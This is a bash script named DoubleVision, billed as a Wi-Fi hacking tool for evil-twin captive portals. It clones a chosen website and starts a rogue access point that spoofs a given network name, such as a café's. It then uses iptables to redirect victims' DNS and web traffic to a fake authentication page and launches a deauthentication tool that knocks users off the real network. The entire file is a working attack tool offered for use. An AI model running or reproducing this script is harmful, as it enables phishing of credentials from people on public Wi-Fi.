DoubleVision.sh 2.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778
  1. #!/bin/bash
  2. cat << "EOF"
  3. __ _ ___ ___ _ _ _ __ ___ ___ | |__ _ __ ___ __ _ ___| |__
  4. / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \
  5. | (_| \__ \__ \ |_| | | | | | | __/_____| |_) | | | __/ (_| | (__| | | |
  6. \__,_|___/___/\__,_|_| |_| |_|\___| |_.__/|_| \___|\__,_|\___|_| |_|
  7. **Double Vision**
  8. A Wifi Hacking Tool For Evil Twin Captive Portals
  9. Use At Your Own Risk
  10. EOF
  11. echo "Which interface do you want to use as your AP NIC? Example: wlan1"
  12. echo ""
  13. read AP
  14. echo""
  15. echo "Using $AP as your AP interface"
  16. echo ""
  17. sleep 1
  18. echo "What is the Wifi network you want to spoof? Example: Starbucks Wifi"
  19. echo ""
  20. read SSID
  21. echo ""
  22. echo "Using $SSID as your spoofed network"
  23. sleep 1
  24. echo ""
  25. echo "Enter Website URL To Clone. Example: https://starbucks.com"
  26. echo ""
  27. read URL
  28. echo ""
  29. echo "Cloning $URL"
  30. systemctl stop dnsmasq
  31. sleep 1
  32. cp Resources/hostapd.conf .
  33. sleep 1
  34. sed -i "s/AP/${AP}/g" hostapd.conf
  35. sed -i "s/SSID/${SSID}/g" hostapd.conf
  36. sleep 1
  37. rm /etc/hostapd/hostapd.conf
  38. cp hostapd.conf /etc/hostapd/hostapd.conf
  39. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  40. sleep 1
  41. mv /home/pi/index.html /var/www/html/index.html
  42. service apache2 start
  43. sleep 1
  44. ifconfig wlan2 down
  45. macchanger -A wlan2
  46. sleep 1
  47. ifconfig wlan2 up
  48. sleep 1
  49. systemctl start dnsmasq
  50. hostapd -B /etc/hostapd/hostapd.conf
  51. sleep 2
  52. ifconfig br0 up
  53. sleep 2
  54. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  55. sysctl net.ipv4.ip_forward=1
  56. echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
  57. iptables --flush
  58. iptables -t nat --flush
  59. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  60. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  61. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  62. iptables -t nat -A POSTROUTING -j MASQUERADE
  63. sleep 2
  64. service dnsmasq start
  65. sleep 4
  66. echo "AP Should Be Up. Time To Deauth"
  67. echo ""
  68. sleep 2
  69. echo "Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"
  70. echo ""
  71. tmux new-session -s deauth 'cd PwrDeauther && bash PwrDeauther.sh'